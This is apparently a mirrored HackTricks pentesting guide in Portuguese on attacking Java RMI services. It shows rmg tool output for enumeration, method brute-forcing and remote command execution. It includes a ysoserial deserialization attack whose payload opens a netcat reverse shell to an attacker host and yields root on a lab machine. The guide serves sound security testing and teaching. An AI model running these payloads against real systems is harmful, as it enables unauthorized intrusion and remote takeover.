mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-24 03:53:29 +00:00
338 lines
19 KiB
Markdown
338 lines
19 KiB
Markdown
# 1098/1099/1050 - Pentesting Java RMI - RMI-IIOP
|
|
|
|
{% hint style="success" %}
|
|
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
|
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|
|
|
<details>
|
|
|
|
<summary>Support HackTricks</summary>
|
|
|
|
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
|
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
|
|
|
</details>
|
|
{% endhint %}
|
|
|
|
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
\
|
|
Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=1099-pentesting-java-rmi) para construir e **automatizar fluxos de trabalho** facilmente, impulsionados pelas **ferramentas** comunitárias **mais avançadas** do mundo.\
|
|
Acesse hoje:
|
|
|
|
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=1099-pentesting-java-rmi" %}
|
|
|
|
## Informações Básicas
|
|
|
|
_A Invocação de Métodos Remotos Java_, ou _Java RMI_, é um mecanismo _RPC_ orientado a objetos que permite que um objeto localizado em uma _máquina virtual Java_ chame métodos em um objeto localizado em outra _máquina virtual Java_. Isso permite que os desenvolvedores escrevam aplicações distribuídas usando um paradigma orientado a objetos. Uma breve introdução ao _Java RMI_ de uma perspectiva ofensiva pode ser encontrada [nesta palestra do blackhat](https://youtu.be/t\_aw1mDNhzI?t=202).
|
|
|
|
**Porta padrão:** 1090,1098,1099,1199,4443-4446,8999-9010,9999
|
|
```
|
|
PORT STATE SERVICE VERSION
|
|
1090/tcp open ssl/java-rmi Java RMI
|
|
9010/tcp open java-rmi Java RMI
|
|
37471/tcp open java-rmi Java RMI
|
|
40259/tcp open ssl/java-rmi Java RMI
|
|
```
|
|
Geralmente, apenas os componentes padrão _Java RMI_ (o _RMI Registry_ e o _Activation System_) estão vinculados a portas comuns. Os _objetos remotos_ que implementam a aplicação _RMI_ real geralmente estão vinculados a portas aleatórias, como mostrado na saída acima.
|
|
|
|
_o nmap_ às vezes tem problemas para identificar serviços _RMI_ protegidos por _SSL_. Se você encontrar um serviço ssl desconhecido em uma porta _RMI_ comum, deve investigar mais a fundo.
|
|
|
|
## Componentes RMI
|
|
|
|
Para simplificar, _Java RMI_ permite que um desenvolvedor torne um _objeto Java_ disponível na rede. Isso abre uma porta _TCP_ onde os clientes podem se conectar e chamar métodos no objeto correspondente. Apesar de parecer simples, existem vários desafios que o _Java RMI_ precisa resolver:
|
|
|
|
1. Para despachar uma chamada de método via _Java RMI_, os clientes precisam conhecer o endereço IP, a porta de escuta, a classe ou interface implementada e o `ObjID` do objeto alvo (o `ObjID` é um identificador único e aleatório que é criado quando o objeto é disponibilizado na rede. É necessário porque o _Java RMI_ permite que múltiplos objetos escutem na mesma porta _TCP_).
|
|
2. Clientes remotos podem alocar recursos no servidor invocando métodos no objeto exposto. A _máquina virtual Java_ precisa rastrear quais desses recursos ainda estão em uso e quais podem ser coletados como lixo.
|
|
|
|
O primeiro desafio é resolvido pelo _RMI registry_, que é basicamente um serviço de nomeação para _Java RMI_. O _RMI registry_ em si também é um _serviço RMI_, mas a interface implementada e o `ObjID` são fixos e conhecidos por todos os clientes _RMI_. Isso permite que os clientes _RMI_ consumam o _RMI registry_ apenas conhecendo a porta _TCP_ correspondente.
|
|
|
|
Quando os desenvolvedores querem tornar seus _objetos Java_ disponíveis na rede, geralmente os vinculam a um _RMI registry_. O _registry_ armazena todas as informações necessárias para se conectar ao objeto (endereço IP, porta de escuta, classe ou interface implementada e o valor `ObjID`) e as torna disponíveis sob um nome legível por humanos (o _nome vinculado_). Clientes que desejam consumir o _serviço RMI_ perguntam ao _RMI registry_ pelo _nome vinculado_ correspondente e o registry retorna todas as informações necessárias para a conexão. Assim, a situação é basicamente a mesma que com um serviço _DNS_ comum. A listagem a seguir mostra um pequeno exemplo:
|
|
```java
|
|
import java.rmi.registry.Registry;
|
|
import java.rmi.registry.LocateRegistry;
|
|
import lab.example.rmi.interfaces.RemoteService;
|
|
|
|
public class ExampleClient {
|
|
|
|
private static final String remoteHost = "172.17.0.2";
|
|
private static final String boundName = "remote-service";
|
|
|
|
public static void main(String[] args)
|
|
{
|
|
try {
|
|
Registry registry = LocateRegistry.getRegistry(remoteHost); // Connect to the RMI registry
|
|
RemoteService ref = (RemoteService)registry.lookup(boundName); // Lookup the desired bound name
|
|
String response = ref.remoteMethod(); // Call a remote method
|
|
|
|
} catch( Exception e) {
|
|
e.printStackTrace();
|
|
}
|
|
}
|
|
}
|
|
```
|
|
O segundo dos desafios mencionados acima é resolvido pelo _Distributed Garbage Collector_ (_DGC_). Este é outro _RMI service_ com um valor `ObjID` bem conhecido e está disponível em basicamente cada _RMI endpoint_. Quando um _RMI client_ começa a usar um _RMI service_, ele envia uma informação para o _DGC_ de que o correspondente _remote object_ está em uso. O _DGC_ pode então rastrear a contagem de referências e é capaz de limpar objetos não utilizados.
|
|
|
|
Juntamente com o _Activation System_ obsoleto, estes são os três componentes padrão do _Java RMI_:
|
|
|
|
1. O _RMI Registry_ (`ObjID = 0`)
|
|
2. O _Activation System_ (`ObjID = 1`)
|
|
3. O _Distributed Garbage Collector_ (`ObjID = 2`)
|
|
|
|
Os componentes padrão do _Java RMI_ têm sido vetores de ataque conhecidos há bastante tempo e múltiplas vulnerabilidades existem em versões desatualizadas do _Java_. Do ponto de vista de um atacante, esses componentes padrão são interessantes, porque implementam classes / interfaces conhecidas e é facilmente possível interagir com eles. Esta situação é diferente para _RMI services_ personalizados. Para chamar um método em um _remote object_, você precisa conhecer a assinatura do método correspondente com antecedência. Sem conhecer uma assinatura de método existente, não há como se comunicar com um _RMI service_.
|
|
|
|
## RMI Enumeration
|
|
|
|
[remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) é um scanner de vulnerabilidades _Java RMI_ que é capaz de identificar automaticamente vulnerabilidades comuns de _RMI_. Sempre que você identificar um _RMI endpoint_, deve tentar:
|
|
```
|
|
$ rmg enum 172.17.0.2 9010
|
|
[+] RMI registry bound names:
|
|
[+]
|
|
[+] - plain-server2
|
|
[+] --> de.qtc.rmg.server.interfaces.IPlainServer (unknown class)
|
|
[+] Endpoint: iinsecure.dev:37471 TLS: no ObjID: [55ff5a5d:17e0501b054:-7ff7, 3638117546492248534]
|
|
[+] - legacy-service
|
|
[+] --> de.qtc.rmg.server.legacy.LegacyServiceImpl_Stub (unknown class)
|
|
[+] Endpoint: iinsecure.dev:37471 TLS: no ObjID: [55ff5a5d:17e0501b054:-7ffc, 708796783031663206]
|
|
[+] - plain-server
|
|
[+] --> de.qtc.rmg.server.interfaces.IPlainServer (unknown class)
|
|
[+] Endpoint: iinsecure.dev:37471 TLS: no ObjID: [55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]
|
|
[+]
|
|
[+] RMI server codebase enumeration:
|
|
[+]
|
|
[+] - http://iinsecure.dev/well-hidden-development-folder/
|
|
[+] --> de.qtc.rmg.server.legacy.LegacyServiceImpl_Stub
|
|
[+] --> de.qtc.rmg.server.interfaces.IPlainServer
|
|
[+]
|
|
[+] RMI server String unmarshalling enumeration:
|
|
[+]
|
|
[+] - Caught ClassNotFoundException during lookup call.
|
|
[+] --> The type java.lang.String is unmarshalled via readObject().
|
|
[+] Configuration Status: Outdated
|
|
[+]
|
|
[+] RMI server useCodebaseOnly enumeration:
|
|
[+]
|
|
[+] - Caught MalformedURLException during lookup call.
|
|
[+] --> The server attempted to parse the provided codebase (useCodebaseOnly=false).
|
|
[+] Configuration Status: Non Default
|
|
[+]
|
|
[+] RMI registry localhost bypass enumeration (CVE-2019-2684):
|
|
[+]
|
|
[+] - Caught NotBoundException during unbind call (unbind was accepeted).
|
|
[+] Vulnerability Status: Vulnerable
|
|
[+]
|
|
[+] RMI Security Manager enumeration:
|
|
[+]
|
|
[+] - Security Manager rejected access to the class loader.
|
|
[+] --> The server does use a Security Manager.
|
|
[+] Configuration Status: Current Default
|
|
[+]
|
|
[+] RMI server JEP290 enumeration:
|
|
[+]
|
|
[+] - DGC rejected deserialization of java.util.HashMap (JEP290 is installed).
|
|
[+] Vulnerability Status: Non Vulnerable
|
|
[+]
|
|
[+] RMI registry JEP290 bypass enmeration:
|
|
[+]
|
|
[+] - Caught IllegalArgumentException after sending An Trinh gadget.
|
|
[+] Vulnerability Status: Vulnerable
|
|
[+]
|
|
[+] RMI ActivationSystem enumeration:
|
|
[+]
|
|
[+] - Caught IllegalArgumentException during activate call (activator is present).
|
|
[+] --> Deserialization allowed - Vulnerability Status: Vulnerable
|
|
[+] --> Client codebase enabled - Configuration Status: Non Default
|
|
```
|
|
A saída da ação de enumeração é explicada em mais detalhes nas [páginas de documentação](https://github.com/qtc-de/remote-method-guesser/blob/master/docs/rmg/actions.md#enum-action) do projeto. Dependendo do resultado, você deve tentar verificar as vulnerabilidades identificadas.
|
|
|
|
Os valores `ObjID` exibidos pelo _remote-method-guesser_ podem ser usados para determinar o tempo de atividade do serviço. Isso pode permitir identificar outras vulnerabilidades:
|
|
```
|
|
$ rmg objid '[55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]'
|
|
[+] Details for ObjID [55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]
|
|
[+]
|
|
[+] ObjNum: -4004948013687638236
|
|
[+] UID:
|
|
[+] Unique: 1442798173
|
|
[+] Time: 1640761503828 (Dec 29,2021 08:05)
|
|
[+] Count: -32760
|
|
```
|
|
## Bruteforçando Métodos Remotos
|
|
|
|
Mesmo quando nenhuma vulnerabilidade foi identificada durante a enumeração, os serviços _RMI_ disponíveis ainda podem expor funções perigosas. Além disso, apesar da comunicação _RMI_ com componentes padrão _RMI_ ser protegida por filtros de desserialização, ao se comunicar com serviços _RMI_ personalizados, esses filtros geralmente não estão em vigor. Conhecer assinaturas de métodos válidas em serviços _RMI_ é, portanto, valioso.
|
|
|
|
Infelizmente, _Java RMI_ não suporta a enumeração de métodos em _objetos remotos_. Dito isso, é possível bruteforçar assinaturas de métodos com ferramentas como [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) ou [rmiscout](https://github.com/BishopFox/rmiscout):
|
|
```
|
|
$ rmg guess 172.17.0.2 9010
|
|
[+] Reading method candidates from internal wordlist rmg.txt
|
|
[+] 752 methods were successfully parsed.
|
|
[+] Reading method candidates from internal wordlist rmiscout.txt
|
|
[+] 2550 methods were successfully parsed.
|
|
[+]
|
|
[+] Starting Method Guessing on 3281 method signature(s).
|
|
[+]
|
|
[+] MethodGuesser is running:
|
|
[+] --------------------------------
|
|
[+] [ plain-server2 ] HIT! Method with signature String execute(String dummy) exists!
|
|
[+] [ plain-server2 ] HIT! Method with signature String system(String dummy, String[] dummy2) exists!
|
|
[+] [ legacy-service ] HIT! Method with signature void logMessage(int dummy1, String dummy2) exists!
|
|
[+] [ legacy-service ] HIT! Method with signature void releaseRecord(int recordID, String tableName, Integer remoteHashCode) exists!
|
|
[+] [ legacy-service ] HIT! Method with signature String login(java.util.HashMap dummy1) exists!
|
|
[+] [6562 / 6562] [#####################################] 100%
|
|
[+] done.
|
|
[+]
|
|
[+] Listing successfully guessed methods:
|
|
[+]
|
|
[+] - plain-server2 == plain-server
|
|
[+] --> String execute(String dummy)
|
|
[+] --> String system(String dummy, String[] dummy2)
|
|
[+] - legacy-service
|
|
[+] --> void logMessage(int dummy1, String dummy2)
|
|
[+] --> void releaseRecord(int recordID, String tableName, Integer remoteHashCode)
|
|
[+] --> String login(java.util.HashMap dummy1)
|
|
```
|
|
Métodos identificados podem ser chamados assim:
|
|
```
|
|
$ rmg call 172.17.0.2 9010 '"id"' --bound-name plain-server --signature "String execute(String dummy)" --plugin GenericPrint.jar
|
|
[+] uid=0(root) gid=0(root) groups=0(root)
|
|
```
|
|
Ou você pode realizar ataques de desserialização assim:
|
|
```
|
|
$ rmg serial 172.17.0.2 9010 CommonsCollections6 'nc 172.17.0.1 4444 -e ash' --bound-name plain-server --signature "String execute(String dummy)"
|
|
[+] Creating ysoserial payload... done.
|
|
[+]
|
|
[+] Attempting deserialization attack on RMI endpoint...
|
|
[+]
|
|
[+] Using non primitive argument type java.lang.String on position 0
|
|
[+] Specified method signature is String execute(String dummy)
|
|
[+]
|
|
[+] Caught ClassNotFoundException during deserialization attack.
|
|
[+] Server attempted to deserialize canary class 6ac727def61a4800a09987c24352d7ea.
|
|
[+] Deserialization attack probably worked :)
|
|
|
|
$ nc -vlp 4444
|
|
Ncat: Version 7.92 ( https://nmap.org/ncat )
|
|
Ncat: Listening on :::4444
|
|
Ncat: Listening on 0.0.0.0:4444
|
|
Ncat: Connection from 172.17.0.2.
|
|
Ncat: Connection from 172.17.0.2:45479.
|
|
id
|
|
uid=0(root) gid=0(root) groups=0(root)
|
|
```
|
|
Mais informações podem ser encontradas nestes artigos:
|
|
|
|
* [Attacking Java RMI services after JEP 290](https://mogwailabs.de/de/blog/2019/03/attacking-java-rmi-services-after-jep-290/)
|
|
* [Method Guessing](https://github.com/qtc-de/remote-method-guesser/blob/master/docs/rmg/method-guessing.md)
|
|
* [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser)
|
|
* [rmiscout](https://bishopfox.com/blog/rmiscout)
|
|
|
|
Além de adivinhar, você também deve procurar em motores de busca ou _GitHub_ pela interface ou até mesmo pela implementação de um serviço _RMI_ encontrado. O _bound name_ e o nome da classe ou interface implementada podem ser úteis aqui.
|
|
|
|
## Known Interfaces
|
|
|
|
[remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) marca classes ou interfaces como `known` se elas estiverem listadas no banco de dados interno da ferramenta de serviços _RMI_ conhecidos. Nesses casos, você pode usar a ação `known` para obter mais informações sobre o serviço _RMI_ correspondente:
|
|
```
|
|
$ rmg enum 172.17.0.2 1090 | head -n 5
|
|
[+] RMI registry bound names:
|
|
[+]
|
|
[+] - jmxrmi
|
|
[+] --> javax.management.remote.rmi.RMIServerImpl_Stub (known class: JMX Server)
|
|
[+] Endpoint: localhost:41695 TLS: no ObjID: [7e384a4f:17e0546f16f:-7ffe, -553451807350957585]
|
|
|
|
$ rmg known javax.management.remote.rmi.RMIServerImpl_Stub
|
|
[+] Name:
|
|
[+] JMX Server
|
|
[+]
|
|
[+] Class Name:
|
|
[+] - javax.management.remote.rmi.RMIServerImpl_Stub
|
|
[+] - javax.management.remote.rmi.RMIServer
|
|
[+]
|
|
[+] Description:
|
|
[+] Java Management Extensions (JMX) can be used to monitor and manage a running Java virtual machine.
|
|
[+] This remote object is the entrypoint for initiating a JMX connection. Clients call the newClient
|
|
[+] method usually passing a HashMap that contains connection options (e.g. credentials). The return
|
|
[+] value (RMIConnection object) is another remote object that is when used to perform JMX related
|
|
[+] actions. JMX uses the randomly assigned ObjID of the RMIConnection object as a session id.
|
|
[+]
|
|
[+] Remote Methods:
|
|
[+] - String getVersion()
|
|
[+] - javax.management.remote.rmi.RMIConnection newClient(Object params)
|
|
[+]
|
|
[+] References:
|
|
[+] - https://docs.oracle.com/javase/8/docs/technotes/guides/management/agent.html
|
|
[+] - https://github.com/openjdk/jdk/tree/master/src/java.management.rmi/share/classes/javax/management/remote/rmi
|
|
[+]
|
|
[+] Vulnerabilities:
|
|
[+]
|
|
[+] -----------------------------------
|
|
[+] Name:
|
|
[+] MLet
|
|
[+]
|
|
[+] Description:
|
|
[+] MLet is the name of an MBean that is usually available on JMX servers. It can be used to load
|
|
[+] other MBeans dynamically from user specified codebase locations (URLs). Access to the MLet MBean
|
|
[+] is therefore most of the time equivalent to remote code execution.
|
|
[+]
|
|
[+] References:
|
|
[+] - https://github.com/qtc-de/beanshooter
|
|
[+]
|
|
[+] -----------------------------------
|
|
[+] Name:
|
|
[+] Deserialization
|
|
[+]
|
|
[+] Description:
|
|
[+] Before CVE-2016-3427 got resolved, JMX accepted arbitrary objects during a call to the newClient
|
|
[+] method, resulting in insecure deserialization of untrusted objects. Despite being fixed, the
|
|
[+] actual JMX communication using the RMIConnection object is not filtered. Therefore, if you can
|
|
[+] establish a working JMX connection, you can also perform deserialization attacks.
|
|
[+]
|
|
[+] References:
|
|
[+] - https://github.com/qtc-de/beanshooter
|
|
```
|
|
## Shodan
|
|
|
|
* `port:1099 java`
|
|
|
|
## Ferramentas
|
|
|
|
* [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser)
|
|
* [rmiscout](https://github.com/BishopFox/rmiscout)
|
|
* [BaRMIe](https://github.com/NickstaDB/BaRMIe)
|
|
|
|
## Referências
|
|
|
|
* [https://github.com/qtc-de/remote-method-guesser](https://github.com/qtc-de/remote-method-guesser)
|
|
|
|
## Comandos Automáticos HackTricks
|
|
```
|
|
Protocol_Name: Java RMI #Protocol Abbreviation if there is one.
|
|
Port_Number: 1090,1098,1099,1199,4443-4446,8999-9010,9999 #Comma separated if there is more than one.
|
|
Protocol_Description: Java Remote Method Invocation #Protocol Abbreviation Spelled out
|
|
|
|
Entry_1:
|
|
Name: Enumeration
|
|
Description: Perform basic enumeration of an RMI service
|
|
Command: rmg enum {IP} {PORT}
|
|
```
|
|
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
\
|
|
Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=1099-pentesting-java-rmi) para construir e **automatizar fluxos de trabalho** facilmente, impulsionados pelas **ferramentas** comunitárias **mais avançadas** do mundo.\
|
|
Obtenha Acesso Hoje:
|
|
|
|
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=1099-pentesting-java-rmi" %}
|
|
|
|
{% hint style="success" %}
|
|
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
|
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|
|
|
<details>
|
|
|
|
<summary>Support HackTricks</summary>
|
|
|
|
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
|
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Compartilhe truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
|
|
|
</details>
|
|
{% endhint %}
|